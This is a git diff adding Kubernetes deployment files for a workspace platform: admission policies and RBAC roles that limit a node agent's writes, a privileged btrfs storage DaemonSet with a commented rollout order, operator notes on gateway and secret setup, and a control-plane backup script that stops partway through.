deploy/rustic-git.yaml +kubectl rollout status deploy/rustic-git-api -n rustic-git +``` + +Then verify by hand what `tests/ws_e2e.sh`'s seeded phase proves in CI: use "Open in a workspace" +on a repository, and check the new workspace reaches Ready with the repository cloned into +`/workspace` — that first-workspace clone is the bug this release exists to fix. + +Release 1 is reversible: the CRD still carries `spec.nodeName`/`spec.volumeRef`, and an old agent +ignores the new status fields. Release 2 drops those fields and cannot be rolled back, so it waits +until every node has run release 1. + +## Gateway + +The workspace SSH gateway runs on the pool nodes themselves (`session-0`, `env-0`) behind +Cloudflare — no LoadBalancer, no tunnel connector. Operator steps, once per region: + +1. DNS (Cloudflare dashboard): **A** records for `ws-.khost.dev` → each pool node's + public IP, both **proxied**. +2. SSL/TLS mode **Full (strict)** for the zone. +3. SSL/TLS → Origin Server → Create Certificate (15 years) for `ws-*.khost.dev`, then + `kubectl -n kube-system create secret tls gateway-tls --cert= --key=`. +4. Copy the `rustic-git-jwt` Secret from AKS into this cluster's `kube-system` (the gateway + verifies session tokens locally, with the same secret the api mints them with). +5. The Azure NSG in front of the pool nodes (`k3s-nsg`, resource group `rustic-git-k3s`) needs the + same admission — it sits before nftables and drops 80 otherwise. One rule, TCP 80 from + Cloudflare's v4 ranges (the list in `cloudflare-ips-v4.txt`, spelled out as separate prefixes): + `az network nsg rule create -g rustic-git-k3s --nsg-name k3s-nsg -n gateway-cloudflare + --priority 120 --direction Inbound --access Allow --protocol Tcp --destination-port-ranges 80 + --source-address-prefixes …`. Not created by `provision-azure.sh`; when the + list changes, `../cf-sync.sh` prints the matching `az network nsg rule update` — run it. +6. `harden-node.sh` on each pool node so the node's 80 admits only Cloudflare's edge. The script + is streamed over ssh (`sudo bash -s <`), so it has no file of its own on the remote box to read + a CIDR list from — build `CF_CIDRS` locally and pass it as an env var on the remote command: + + ```sh + CF_CIDRS="$(paste -sd, deploy/k3s/cloudflare-ips-v4.txt)" + ssh azureuser@ "sudo CF_CIDRS='$CF_CIDRS' ADMIN_CIDR='$ADMIN_CIDR' bash -s" \ + < deploy/k3s/harden-node.sh + ``` + +## Two things that bite + +**The agent Secret is not in this directory.** `rustic-git-agent` in `kube-system` carries the +region's agent token and the Azure credentials, and it is created by hand because it holds secrets. +Without it the controller runs but every push fails at the registry. Keys: `WS_REGISTRY_URL`, +`WS_REGION`, `WS_AGENT_TOKEN`, `AZURE_ACCOUNT`, `AZURE_KEY`, `AZURE_CONTAINER`. + +**Restoring a snapshot pushed in another region needs that region's credentials too.** A +`CommitRecord` names the region its blobs live in, and a `restoreOf` source carries that region +down to the agent. The agent's own `AZURE_*` triple points at ITS region's container only, so a +snapshot from elsewhere is unreadable with it — the restore fails, permanently and by name +(`Ready=False/RegionUnreachable`), rather than sitting in `phase: working` forever, which is what +it used to do. + +Add one extra triple per region this node may restore FROM, in the same hand-made Secret, keyed by +the region id uppercased with `-` replaced by `_`: + +``` +AZURE_REGION__ACCOUNT +AZURE_REGION__KEY +AZURE_REGION__CONTAINER +``` + +The k3s region's agent needs the `centralindia-vm` triple — `AZURE_REGION_CENTRALINDIA_VM_ACCOUNT` +/ `_KEY` / `_CONTAINER`, pointing at that region's storage account and its `wslayers` container +(the k3s region's own is `wslayers-k3s`) — so environment baselines pushed from the VM region can +be restored here. The values live in the region's `Region` record and in the Azure portal; they +are deliberately not in this repository. A region with no triple is not a failure until someone +restores from it. + +**Do not run `tests/ws_e2e.sh` on a node the DaemonSet is running on.** The script starts its own +agent against its own loopback pool; two controllers reconciling one object materialize it into two +different pools. The script refuses to start if it sees the DaemonSet on its node — take the label +off first (`kubectl label node rustic-git.io/pool-`) and put it back after. diff --git a/deploy/k3s/agent-admission.yaml b/deploy/k3s/agent-admission.yaml new file mode 100644 index 00000000..e0d722f5 --- /dev/null +++ b/deploy/k3s/agent-admission.yaml @@ -0,0 +1,98 @@ +# What RBAC cannot say about the node controller, said as admission policy. Apply with +# agent-rbac.yaml; see the table there for the calls these rules are shaped around. +# +# Plain `admissionregistration.k8s.io/v1` — GA since Kubernetes 1.30, so k3s v1.30+ takes it with +# no feature gate. Both policies match on the AGENT's identity only; `/v1` (the api's account), +# operators with kubectl and the garbage collector are untouched. +# +# 1. A controller that has `patch` on a main resource can, as far as RBAC knows, rewrite spec. +# The agent needs that verb for three metadata-only writes (`heal_labels` on the parents' +# labels, the finalizer on the children) and ONE spec field: `restore_gate` copies the +# Environment's restore wish into `Volume.spec.restoreTo` once the services are down — the +# child is the agent's own object, authored by it, and the wish is desired state by nature (the +# API cannot write the child; see `crd::RestoreWish`). Everything else in spec is `/v1`'s, and +# this is what refuses the agent a write to it: "RBAC, not convention" is this file plus the +# `/status` subresource split. +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingAdmissionPolicy +metadata: + name: rustic-git-agent-spec-is-read-only +spec: + failurePolicy: Fail + matchConstraints: + resourceRules: + # Main resources only: `workspaces` does not match `workspaces/status`, which is the + # controller's half and is meant to change on every reconcile. + - apiGroups: ["rustic-git.io"] + apiVersions: ["*"] + operations: ["UPDATE"] + resources: ["workspaces", "environments", "volumes", "snapshotrequests", "ownerbindings"] + matchConditions: + - name: from-the-agent + expression: "request.userInfo.username == 'system:serviceaccount:kube-system:rustic-git-agent'" + validations: + - expression: >- + object.kind == 'Volume' + ? (object.spec.all(k, k == 'restoreTo' || (k in oldObject.spec && object.spec[k] == oldObject.spec[k])) + && oldObject.spec.all(k, k == 'restoreTo' || k in object.spec)) + : object.spec == oldObject.spec + message: "rustic-git-agent writes status, not spec (the one exception is Volume.spec.restoreTo)" +--- +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingAdmissionPolicyBinding +metadata: + name: rustic-git-agent-spec-is-read-only +spec: + policyName: rustic-git-agent-spec-is-read-only + validationActions: ["Deny"] +--- +# 2. `bind` on a ClusterRole plus `rolebindings: create` is, to RBAC, "grant that role to any +# subject in any namespace" — including the agent itself in kube-system, which would be +# `secrets` there. This pins every namespaced object the agent writes to the tenant namespaces +# it makes (`ws-*` for workspaces, `env-*` for environments), every RoleBinding to the two +# roles and two subjects the design names, and every Secret to the host key it creates. +# Any other kind reaching this policy is denied outright: a new write in the code needs a row +# in agent-rbac.yaml AND a branch here. +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingAdmissionPolicy +metadata: + name: rustic-git-agent-tenant-namespaces-only +spec: + failurePolicy: Fail + matchConstraints: + resourceRules: + - apiGroups: [""] + apiVersions: ["v1"] + operations: ["CREATE", "UPDATE"] + resources: ["namespaces", "secrets"] + - apiGroups: ["rbac.authorization.k8s.io"] + apiVersions: ["v1"] + operations: ["CREATE", "UPDATE"] + resources: ["rolebindings"] + matchConditions: + - name: from-the-agent + expression: "request.userInfo.username == 'system:serviceaccount:kube-system:rustic-git-agent'" + validations: + - expression: >- + object.kind == 'Namespace' + ? (object.metadata.name.startsWith('ws-') || object.metadata.name.startsWith('env-')) + : object.kind == 'Secret' + ? (object.metadata.namespace.startsWith('ws-') && object.metadata.name.startsWith('ws-ssh-')) + : object.kind == 'RoleBinding' + ? ((object.metadata.namespace.startsWith('ws-') || object.metadata.namespace.startsWith('env-')) + && object.roleRef.kind == 'ClusterRole' + && object.roleRef.name in ['rustic-git-api-secrets', 'rustic-git-agent-ws-secrets'] + && has(object.subjects) + && object.subjects.all(s, s.kind == 'ServiceAccount' + && s.namespace == 'kube-system' + && s.name in ['rustic-git-api', 'rustic-git-agent'])) + : false + message: "rustic-git-agent may only write ws-*/env-* namespaces, ws-ssh-* Secrets, and the two api/agent secret RoleBindings" +--- +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingAdmissionPolicyBinding +metadata: + name: rustic-git-agent-tenant-namespaces-only +spec: + policyName: rustic-git-agent-tenant-namespaces-only + validationActions: ["Deny"] diff --git a/deploy/k3s/agent-daemonset.yaml b/deploy/k3s/agent-daemonset.yaml new file mode 100644 index 00000000..b5e8dd74 --- /dev/null +++ b/deploy/k3s/agent-daemonset.yaml @@ -0,0 +1,215 @@ +# The node controller, one pod per worker node. +# +# It is privileged and mounts the host's btrfs pool, which is unusual for a workload and deliberate +# here: this process IS the node's storage driver. It runs `btrfs subvolume create|snapshot|send| +# receive|delete` against `/wspool-prod`, and those calls need real root on the host filesystem, not +# a namespaced approximation. +# +# `mountPropagation: Bidirectional` is the subtle part and the one that fails silently when missing. +# A subvolume this pod creates — or a block image it loop-mounts during a restore — must become +# visible in the HOST's mount namespace, because the kubelet is what binds it into a workspace pod +# afterwards. Without bidirectional propagation those mounts stay private to this container and the +# workspace pod mounts an empty directory: no error anywhere, just missing data. +# +# It lives in kube-system, which is `privileged` under Pod Security Admission by default. The +# namespaces this controller CREATES are `baseline` (see k8s::namespace) — user workloads never get +# what this pod has. +# +# Roll order for the controller-ownership change (2026-08-27), and it is not the usual one: +# +# 1. kubectl delete workspace ws-16980a570dd6eecd # the stuck one; it predates status.nodeName +# 2. kubectl apply -f deploy/k3s/crds.yaml # BEFORE the agent, or the new watches 404 +# 3. kubectl apply -f deploy/k3s/{agent,api}-rbac.yaml +# 4. kubectl apply -f deploy/k3s/agent-daemonset.yaml +# +# Steps 2 and 4 are ONE step operationally, not two changes with a pause between them: the old +# agent's Workspace/Environment watch 4xx's for the window between them, so the window is made as +# short as a second `kubectl apply` allows. +# +# The CRDs first because the agent's placement watch selects on `.status.nodeName`, which does not +# exist as a selectable field until the CRD carries it — a watch on an undeclared selectable field +# is refused, and the agent would come up converging nothing while reporting healthy. Removing +# `.spec.nodeName` from `selectableFields` while a client still uses that selector answers 400, not +# an empty list, which is the other half of why the agent and the CRDs move together. The agent's +# startup migration adopts existing Volumes and backfills history on its first boot after step 4. +# +# This is RELEASE 1: the CRD still carries `spec.nodeName`/`spec.volumeRef` as optional fields. +# Release 2 (Task 11) drops them, and only after every node has rolled — see that task's gate. +# Release 1 can be rolled back (old agents ignore the new status fields); release 2 cannot. +# +# The full runbook, with the api roll and the post-roll check, is in this directory's README under +# "Release 1: controller ownership". +apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: rustic-git-agent + namespace: kube-system + labels: + app: rustic-git-agent +spec: + selector: + matchLabels: + app: rustic-git-agent + template: + metadata: + labels: + app: rustic-git-agent + # Plain scrape annotations, no Prometheus Operator assumed (a ServiceMonitor would need the + # CRD installed first; kube-prometheus-stack and the Azure managed agent both honour these). + annotations: + prometheus.io/scrape: "true" + prometheus.io/port: "9464" + prometheus.io/path: /metrics + spec: + serviceAccountName: rustic-git-agent + # Only nodes that carry a btrfs pool. The control plane has none and must not run this. + nodeSelector: + rustic-git.io/pool: "true" + tolerations: + - key: rustic-git.io/role + operator: Exists + effect: NoSchedule + # A restart must not orphan a btrfs send mid-stream; give it room to finish or be killed + # cleanly rather than yanked at the default 30s. + terminationGracePeriodSeconds: 120 + initContainers: + # "Create a Nix store on the host": the image's own store is copied onto the host's /nix + # once. After that both containers below mount the HOST store, and the `nix` the agent + # runs is the one in it — a client that lives outside the store it talks to cannot exist. + - name: seed-store + image: nixos/nix:2.24.10 + command: ["/bin/sh", "-c", "if [ ! -e /host-nix/store ]; then cp -a /nix/. /host-nix/; fi; mkdir -p /host-nix/var/rustic/profiles"] + volumeMounts: + - name: nix + mountPath: /host-nix + containers: + - name: agent + # Pinned to the commit CI built, not `:latest`. A DaemonSet on `:latest` re-resolves the + # tag on every pod recreate, so two nodes can silently end up on different builds. + # + # No imagePullSecret: the package is public, like the repository. That is deliberate — + # the image carries no secret, and a cluster-wide pull credential is one more thing to + # scope, rotate and leak. + image: ghcr.io/kloudlite/rustic-git-agent:a3d98c1c2a17a1bbf461b309e6c7a7c6c34dce3a + # Safe with an immutable SHA tag, and it means kubelet image GC evicting the layers costs + # one re-pull rather than a broken DaemonSet — which is what the hand-shipped tarball did. + imagePullPolicy: IfNotPresent + securityContext: + privileged: true + env: + - name: RUSTIC_GIT_METRICS_ADDR + value: 0.0.0.0:9464 + # The shard key. The controller refuses to start without it rather than watching every + # node's objects — see lib.rs's check. + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + - name: WS_POOL + value: /wspool-prod + # Where a `GitRepo` workspace's init container clones from, over SSH, with the + # owner's platform key. The repo is `owner/name`, never a URL, so this is the only + # thing that decides which host is reachable — a workspace cannot be pointed at an + # arbitrary endpoint. + - name: WS_GIT_SSH_HOST + value: git.khost.dev + - name: WS_GIT_SSH_PORT + value: "22" + # Pinned, so seeding works whatever image the workspace itself runs. + - name: WS_GIT_INIT_IMAGE + value: alpine/git:2.45.2 + # `WS_REGION` comes from the `rustic-git-agent` Secret alongside the token it was minted + # with: the two must name the same region record, or the first push stamps the volume with + # one region and the ref move is refused for the other (seen 27 Aug as `ref move: 401`). + # Never set it inline here — an explicit env silently overrides `envFrom`. + - name: RUST_BACKTRACE + value: "1" + # The store client and the daemon it talks to are two containers sharing one host + # /nix; NIX_REMOTE=daemon is what points the agent's `nix` at the socket instead of + # trying (and failing, unprivileged) to open the store itself. + - name: NIX_REMOTE + value: daemon + # The nixpkgs every profile on this node is built against. Rolling it rebuilds every + # workspace's profile on its next pass (a cache download, not a compile). + - name: WS_NIXPKGS + value: github:NixOS/nixpkgs/c27cdad491a991b11ed731760aa2ef8db0cb0410 + - name: WS_NIX_TIMEOUT + value: "1200" + # What every workspace gets before its own list. Explicit here rather than the + # binary's default so a change is a yaml diff someone reviews, and so the two nodes + # cannot drift: the set is part of every profile's hash. + - name: WS_BASE_PACKAGES + value: "bashInteractive zsh fish starship coreutils git openssh curl less which gnugrep gnused findutils" + envFrom: + # Registry URL + agent token for the volume record surface, and the Azure/Cosmos + # credentials the snapshot engine pushes through. Absent keys leave the engine in its + # dev fallbacks, which is why this is a Secret and not inline. + # + # Restoring a snapshot pushed in ANOTHER region also reads that region's container, so + # the Secret carries one extra triple per such region: + # `AZURE_REGION__ACCOUNT/_KEY/_CONTAINER` (id uppercased, `-` -> `_`). This node + # needs `AZURE_REGION_CENTRALINDIA_VM_*`. No triple is not a startup failure — it is a + # named, permanent failure on the one restore that needs it. See README "Two things + # that bite". + - secretRef: + name: rustic-git-agent + optional: true + volumeMounts: + - name: pool + mountPath: /wspool-prod + mountPropagation: Bidirectional + # btrfs send/receive and loop-mounting a restored block image both need the host's + # device nodes. + - name: dev + mountPath: /dev + # The host store seeded by seed-store, shared with the nix-daemon container below. + - name: nix + mountPath: /nix + - name: nix-conf + mountPath: /etc/nix + livenessProbe: + # The controller touches this file on every reconcile tick. A watch that silently + # stopped delivering looks exactly like an idle cluster from outside — this is what + # tells the two apart. 5 minutes of no tick is well past the 15s requeue interval. + exec: + command: + - /bin/sh + - -c + - test $(( $(date +%s) - $(stat -c %Y /wspool-prod/.agent-heartbeat) )) -lt 300 + initialDelaySeconds: 60 + periodSeconds: 60 + failureThreshold: 3 + - name: nix-daemon + image: nixos/nix:2.24.10 + command: ["/nix/var/nix/profiles/default/bin/nix-daemon"] + # Privileged for the build sandbox's user namespaces; the pod already is. + securityContext: + privileged: true + volumeMounts: + - name: nix + mountPath: /nix + - name: nix-conf + mountPath: /etc/nix + livenessProbe: + exec: + command: ["/nix/var/nix/profiles/default/bin/nix", "store", "ping"] + initialDelaySeconds: 30 + periodSeconds: 60 + volumes: + - name: pool + hostPath: + path: /wspool-prod + # `Directory`, not `DirectoryOrCreate`: if the pool is not mounted, the controller must + # fail loudly rather than quietly writing workspaces onto the node's root disk. + type: Directory + - name: dev + hostPath: + path: /dev + type: Directory + - name: nix + hostPath: + path: /nix + type: DirectoryOrCreate + - name: nix-conf + configMap: + name: rustic-git-nix diff --git a/deploy/k3s/agent-rbac.yaml b/deploy/k3s/agent-rbac.yaml new file mode 100644 index 00000000..66b4e621 --- /dev/null +++ b/deploy/k3s/agent-rbac.yaml @@ -0,0 +1,189 @@ +# RBAC for the node controller (`rustic-git-agent`). +# +# THE TABLE BELOW IS THE ROLE. It is every Kubernetes call the agent makes, enumerated from +# `bins/agent/src/*.rs` (the `crates/workspaces` crate builds objects; it never calls the API +# server). A verb that is not in the table is not in the rules; a call added to the code without a +# row here fails with a 403 that names this file. +# +# resource (group) verb(s) call site +# ------------------------------------------------------------------------------------------------ +# workspaces, environments (rustic-git.io) +# get,list,watch Controller watches; claim +# re-read; check_source +# patch heal_labels (metadata.labels +# ONLY — see the admission +# policy) +# volumes (rustic-git.io) get,list,watch Controller + heartbeat list +# create ensure_child_volume +# patch finalizer (metadata) and +# restore_gate (spec.restoreTo +# — the ONE spec field, see +# the policy) +# snapshotrequests (rustic-git.io) get,list,watch Controller; await_stop_push +# create await_stop_push (stop-{env}) +# patch finalizer (metadata) +# delete await_stop_push (teardown) +# ownerbindings (rustic-git.io) get,list,watch Controller; namespace_ready +# create claim::ensure_binding +# */status (rustic-git.io, all five) patch patch_status (apply) +# update replace_status (claim CAS) +# */finalizers (rustic-git.io, all five) update finalizer on volumes and +# snapshotrequests; the parents +# for OwnerReferencesPermission- +# Enforcement on their children +# namespaces create,patch ensure (server-side apply) +# limitranges, networkpolicies, services, +# persistentvolumeclaims create,patch ensure +# persistentvolumes create,patch ensure (cluster-scoped) +# rolebindings (rbac) create,patch ensure (api-secrets, +# agent-secrets) +# clusterroles (rbac) bind [named] the two roles those bindings +# grant +# pods get,list,watch pod_is_ready; writing_pods; +# Controller watches +# create create_if_absent +# delete delete_ignoring_404 (stop) +# statefulsets (apps) get,list,watch deployment_status; watch +# create,patch ensure; restore_gate scale +# delete stop +# deployments (apps) get,delete legacy migration only +# secrets get,create ensure_ssh — NOT here: bound +# per `ws-*` namespace by the +# agent itself (below) +# nodes get node_roles (startup) +# +# Two things RBAC cannot say, and where the ValidatingAdmissionPolicy in `agent-admission.yaml` +# takes over. Apply both files; the role without the policy is the honest-but-wide version: +# +# 1. `patch` on a main resource is `patch` on all of it. `heal_labels` needs to write +# `metadata.labels` on the parents, the finalizer helper writes `metadata.finalizers` on the +# children, and `restore_gate` copies the parent's restore wish into `Volume.spec.restoreTo`. +# Kubernetes has no field-level verb, so the policy refuses any other spec change from this +# account — that is what makes "the controller cannot edit desired state" mechanical. +# 2. `bind` + `rolebindings: create` is "grant these roles to anyone, anywhere". The policy +# pins the namespace prefix, the roleRef and the subjects of every RoleBinding this account +# writes. +# +# Scope note that is easy to get wrong: a field selector narrows a WATCH, never authorization. The +# controller watches its own node's objects, but these grants are cluster-wide because the CRDs are +# cluster-scoped and RBAC cannot express "only objects whose status names me". The sharding is a +# correctness property of the controller, not a permission boundary. +# ponytail: cluster-wide grants sharded only by the controller's own field selector; the policy +# could additionally bind the request's node identity to `status.nodeName` if nodes stop being +# equally trusted. +apiVersion: v1 +kind: ServiceAccount +metadata: + name: rustic-git-agent + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: rustic-git-agent +rules: + - apiGroups: ["rustic-git.io"] + resources: ["workspaces", "environments"] + verbs: ["get", "list", "watch", "patch"] + # `create` on the children: a controller that creates a child owns it, and the API lost the same + # verbs. No `delete` on volumes — a Volume goes by garbage collection through its ownerReference. + - apiGroups: ["rustic-git.io"] + resources: ["volumes"] + verbs: ["get", "list", "watch", "create", "patch"] + # `delete` is required: the `stop-{env}` request is deleted after teardown, or the NEXT stop of + # that environment finds a `done` object under the same fixed name and tears down without pushing. + - apiGroups: ["rustic-git.io"] + resources: ["snapshotrequests"] + verbs: ["get", "list", "watch", "create", "patch", "delete"] + # `ownerbindings` are created by the agent that WINS a placement claim — `claim::ensure_binding`; + # a losing claimant never creates one, and nothing ever edits or deletes one. + - apiGroups: ["rustic-git.io"] + resources: ["ownerbindings"] + verbs: ["get", "list", "watch", "create"] + # Status is the controller's half of every object. `update` is for `replace_status` — the claim + # is an optimistic PUT carrying resourceVersion, not a forced apply, so two nodes cannot both win. + - apiGroups: ["rustic-git.io"] + resources: + ["volumes/status", "workspaces/status", "environments/status", + "snapshotrequests/status", "ownerbindings/status"] + verbs: ["patch", "update"] + # Finalizers are edited on the main resource, but Kubernetes gates them behind their own verb. + # `snapshotrequests/finalizers` is what lets a delete during an in-flight push wait, or it + # orphans a btrfs send, a stage file and a blob upload with no object left to record the outcome. + # The parents' entries exist for OwnerReferencesPermissionEnforcement: every child this + # controller creates carries `blockOwnerDeletion`, and a cluster running that admission plugin + # checks the creator may update the OWNER's finalizers. + - apiGroups: ["rustic-git.io"] + resources: + ["volumes/finalizers", "workspaces/finalizers", "environments/finalizers", + "snapshotrequests/finalizers", "ownerbindings/finalizers"] + verbs: ["update"] + # What `ensure` materializes, by server-side apply: a PATCH, which the apiserver additionally + # authorizes as `create` when the object does not exist yet — both verbs are the apply. Nothing + # here is ever deleted by the agent — an ownerReference does that — so no `delete`, and nothing + # is read back, so no `get`. + - apiGroups: [""] + resources: ["namespaces", "services", "persistentvolumeclaims", "limitranges", "persistentvolumes"] + verbs: ["create", "patch"] + - apiGroups: ["networking.k8s.io"] + resources: ["networkpolicies"] + verbs: ["create", "patch"] + # Pods are created when absent (a Pod is immutable, so never applied), read back for readiness, + # watched to wake the parent's reconcile, and deleted to stop a workspace. + - apiGroups: [""] + resources: ["pods"] + verbs: ["get", "list", "watch", "create", "delete"] + # StatefulSets are applied, scaled (a merge patch on replicas), read back, watched, and deleted on + # stop. `deployments` only to find and delete the legacy ones a StatefulSet replaced. + - apiGroups: ["apps"] + resources: ["statefulsets"] + verbs: ["get", "list", "watch", "create", "patch", "delete"] + - apiGroups: ["apps"] + resources: ["deployments"] + verbs: ["get", "delete"] + # Read-only, once, at startup: which pools this node advertises (`rustic-git.io/session|env`). + - apiGroups: [""] + resources: ["nodes"] + verbs: ["get"] + # The controller creates two RoleBindings in each workspace namespace: one so the API can write + # that namespace's git-token Secret (see api-rbac.yaml), one so the agent itself can read and + # create that namespace's host-key Secret (see `rustic-git-agent-ws-secrets` below). Kubernetes + # refuses to let a subject grant permissions it does not itself hold unless it has `bind` on the + # role being granted; `bind` on exactly these two ClusterRoles is the narrow form. The policy + # in agent-admission.yaml is what stops this pair being "grant either role to anyone anywhere". + - apiGroups: ["rbac.authorization.k8s.io"] + resources: ["rolebindings"] + verbs: ["create", "patch"] + - apiGroups: ["rbac.authorization.k8s.io"] + resources: ["clusterroles"] + resourceNames: ["rustic-git-api-secrets", "rustic-git-agent-ws-secrets"] + verbs: ["bind"] +--- +# Secrets are deliberately NOT in the ClusterRole above. The agent reads exactly one Secret per +# workspace — the `ws-ssh-{id}` host key — and creates the one that is missing; it never updates +# one (a host key that changed is indistinguishable from a man in the middle), never lists or +# watches, and the ownerReference does the deleting. Cluster-wide `get` would have covered +# `rustic-git-jwt` and the api's credentials in kube-system, so this role is bound per workspace +# namespace by the binding reconciler instead (`k8s::agent_secret_binding`), the same shape as the +# api's grant. +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: rustic-git-agent-ws-secrets +rules: + - apiGroups: [""] + resources: ["secrets"] + verbs: ["get", "create"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: rustic-git-agent +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: rustic-git-agent +subjects: + - kind: ServiceAccount + name: rustic-git-agent + namespace: kube-system diff --git a/deploy/k3s/api-rbac.yaml b/deploy/k3s/api-rbac.yaml new file mode 100644 index 00000000..b28a7165 --- /dev/null +++ b/deploy/k3s/api-rbac.yaml @@ -0,0 +1,73 @@ +# What `rustic-git-api` may do in this cluster. +# +# The API tier runs elsewhere and reaches this cluster with a kubeconfig, so this is the whole of +# its authority here. +apiVersion: v1 +kind: ServiceAccount +metadata: + name: rustic-git-api + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: rustic-git-api +rules: + # Spec is the API's to write. It never writes status — that is the controller's, and the split is + # what stops the two overwriting each other's view of the same object. + - apiGroups: ["rustic-git.io"] + resources: ["workspaces", "environments"] + verbs: ["get", "list", "watch", "create", "patch", "update", "delete"] + # A push. No `watch`: nothing in the API watches — every read is a one-shot list on a + # request. `create` and `delete` but deliberately NO `/status`: the outcome of a push is the + # agent's to write, and an API that could write it could report a snapshot that never happened. + - apiGroups: ["rustic-git.io"] + resources: ["snapshotrequests"] + verbs: ["get", "list", "create", "delete"] + # Read-only, for projections. `create` went to the agent (a controller owns the children it + # authors) and `delete` went with it — the API's delete handler is now one call to the Workspace, + # and garbage collection follows the ownerReference to the Volume. `ownerbindings` are gone from + # this file entirely: the claiming agent creates them now. + - apiGroups: ["rustic-git.io"] + resources: ["volumes"] + verbs: ["get", "list"] + # List only, and only to find which workspace namespaces an owner has: an ssh key add or remove + # must rewrite the `user-key` Secret in every one of them, and the namespaces themselves are the + # controller's to create. Namespace metadata carries no secrets. + - apiGroups: [""] + resources: ["namespaces"] + verbs: ["list"] +--- +# Secrets are NOT in the ClusterRole above, and this one is NOT bound cluster-wide. +# +# The API needs to write exactly two Secrets — a short-lived git token for a workspace being seeded +# from a repository, and the owner's platform-issued git key — into exactly one namespace, theirs. Granting `secrets: create` +# cluster-wide to get that would hand the API every Secret in the cluster, including the agent's +# own credentials. +# +# So it is bound per namespace instead: the controller creates a RoleBinding to this ClusterRole in +# each workspace namespace it makes (see `k8s::api_secret_binding`). The API can therefore write a +# Secret in a namespace the controller has vouched for, and nowhere else. +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: rustic-git-api-secrets +rules: + - apiGroups: [""] + resources: ["secrets"] + # `patch` is what server-side apply needs; without it the key install fails with a 403 that + # reads like a missing binding. + verbs: ["get", "create", "update", "patch", "delete"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: rustic-git-api +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: rustic-git-api +subjects: + - kind: ServiceAccount + name: rustic-git-api + namespace: kube-system diff --git a/deploy/k3s/backup-controlplane.service b/deploy/k3s/backup-controlplane.service new file mode 100644 index 00000000..d6c3ca57 --- /dev/null +++ b/deploy/k3s/backup-controlplane.service @@ -0,0 +1,16 @@ +# Runs backup-controlplane.sh once; backup-controlplane.timer fires it hourly. Install steps are +# in README.md ("Control-plane backup"). +[Unit] +Description=Back up the k3s SQLite datastore, identity and CRD objects to Azure Blob +After=k3s.service network-online.target +Wants=network-online.target + +[Service] +Type=oneshot +# The SAS is read by the script from /etc/rustic-git/k3s-backup.sas. This optional file carries +# the rest: SNITCH_URL=https://hc-ping.com/, and ACCOUNT/CONTAINER when not the defaults. +EnvironmentFile=-/etc/rustic-git/k3s-backup.env +ExecStart=/usr/local/bin/backup-controlplane.sh +# A run stuck on a hung upload must not pile up behind the next one: the timer skips while this +# unit is still active, and this cap frees it well inside the hour. +TimeoutStartSec=20min diff --git a/deploy/k3s/backup-controlplane.sh b/deploy/k3s/backup-controlplane.sh new file mode 100644 index 00000000..7bc2a061 --- /dev/null +++ b/deploy/k3s/backup-controlplane.sh @@ -0,0 +1,99 @@ +#!/usr/bin/env bash +# Back up the k3s control plane to Azure Blob storage. +# +# WHY this exists: the CRDs are the source of truth for every workspace and environment, and with +# the SQLite datastore that truth is one file on one node. The btrfs subvolumes and the pushed +# blobs survive losing this node; the record of what they ARE does not. Cosmos used to be a managed, +# replicated store — `state.db` is not, so the replication has to be done here. +# +# Consistency: `VACUUM INTO` is used rather than `cp`. SQLite in WAL mode is being written while we +# run, so a plain copy can capture a torn page or miss committed transactions sitting in the WAL. +# `VACUUM INTO` takes a read transaction and writes a fully consistent database file. +# +# The certificates and node token are backed up alongside it, deliberately: restoring `state.db` +# onto a k3s that generated a DIFFERENT cluster CA gives you a cluster none of your agents can join +# and no client can authenticate to. The database alone is not a restorable backup. +set -euo pipefail + +SRC=/var/lib/rancher/k3s/server +WORK=$(mktemp -d) +# Dead man's snitch. A timer that silently stopped firing looks exactly like one that works, so +# the check is inverted: a healthchecks.io-style monitor expects a ping every hour and pages when +# one is MISSING. `/fail` is healthchecks' failure suffix; a monitor without it just sees the +# missed ping. Unset means no ping — the unit's failed state is then the only signal. +: "${SNITCH_URL:=}" +finish() { + rc=$? + rm -rf "$WORK" + [ -n "$SNITCH_URL" ] || return 0 + if [ "$rc" -eq 0 ]; then curl -sS -m 10 --retry 3 -o /dev/null "$SNITCH_URL" || true + else curl -sS -m 10 --retry 3 -o /dev/null "$SNITCH_URL/fail" || true; fi +} +trap finish EXIT + +# Retention without needing list or delete permission on the container: fixed names that +# overwrite. 24 hourly slots covering a day, 7 daily slots covering a week. Anything older than a +# week exists only through blob versioning on the container (deploy/BACKUPS.md), which is also +# what keeps a bad backup from destroying the good one it overwrites. +HOUR=$(date -u +%H) +DOW=$(date -u +%a) + +sqlite3 "file:$SRC/db/state.db?mode=ro" "VACUUM INTO '$WORK/state.db'" +# Small and slow-changing, but without them the database restores into a cluster nobody can talk to. +tar -czf "$WORK/identity.tgz" -C "$SRC" tls token cred 2>/dev/null || \ + tar -czf "$WORK/identity.tgz" -C "$SRC" tls token +# The CRD objects as plain YAML as well. `state.db` restores only onto the same k3s version with +# the same identity; the YAML restores onto ANY cluster that has the CRDs applied, which is the +# path when this node is gone for good. All five kinds are cluster-scoped. Best-effort: an API +# server that is down must not stop the database from being uploaded — but the run still fails at +# the end (exit code below), so the unit and the snitch both show it. +crd_ok=0 +k3s kubectl get volumes,workspaces,environments,snapshotrequests,ownerbindings -A -o yaml \ + > "$WORK/objects.yaml" 2> "$WORK/objects.err" \ + || { crd_ok=1; echo "CRD dump failed: $(cat "$WORK/objects.err")" >&2; : > "$WORK/objects.yaml"; } +tar -czf "$WORK/k3s-backup.tgz" -C "$WORK" state.db identity.tgz objects.yaml + +: "${SAS_FILE:=/etc/rustic-git/k3s-backup.sas}" +: 